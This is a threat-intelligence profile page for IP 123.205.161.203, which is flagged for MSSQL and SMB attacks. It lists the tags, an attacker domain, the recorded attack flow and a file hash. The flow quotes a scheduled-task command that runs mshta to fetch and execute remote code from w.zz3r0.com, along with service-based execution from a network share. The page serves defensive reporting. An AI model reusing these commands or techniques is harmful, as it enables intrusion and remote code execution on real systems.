Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 123.205.161.203Malicious

IP Address: 123.205.161.203Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Service Stop Scheduled Task Creation SMB Access Share Download and Execute Execute from Share Download File Service Start CMD Successful SMB Login Service Deletion DNS Query SMB Share Connect Scheduled Task Run MSSQL Access Suspicious Domain Service Creation File Operation By CMD

Associated Attack Servers

w.zz3r0.com

Basic Information

IP Address

123.205.161.203

Domain

-

ISP

Digital United

Country

Taiwan, Province of China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2020-12-06

Last seen in Akamai Guardicore Segmentation

2023-12-26

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Correct Password

Successful SMB Login

C:\PTTEirbz.exe was downloaded

Download File

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 5 times

Successful SMB Login

C:\sRljgByd.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\ptteirbz.exe as a service named xwfw under service group None

Service Start Service Creation

ptteirbz.exe was executed from the remote share \\server-backup\c$

Execute from Share

srljgbyd.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\srljgbyd.exe as a service named PsEZ under service group None

Service Start Service Creation

C:\windows\temp\tmp.vbs was downloaded

Download File

Service PsEZ was stopped

Service Stop

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User 4 times

Successful SMB Login

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com 2 times

Access Suspicious Domain DNS Query

The command line c:\windows\TUfRPD.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

iqbonuug.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\iqbonuug.exe as a service named pjYw under service group None

Service Start Service Creation

Service pjYw was stopped

Service Stop

The file C:\WINDOWS\TUfRPD.exe was downloaded and executed 2 times

Download and Execute

Connection was closed due to timeout

Associated Files

C:\aayGBpdX.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes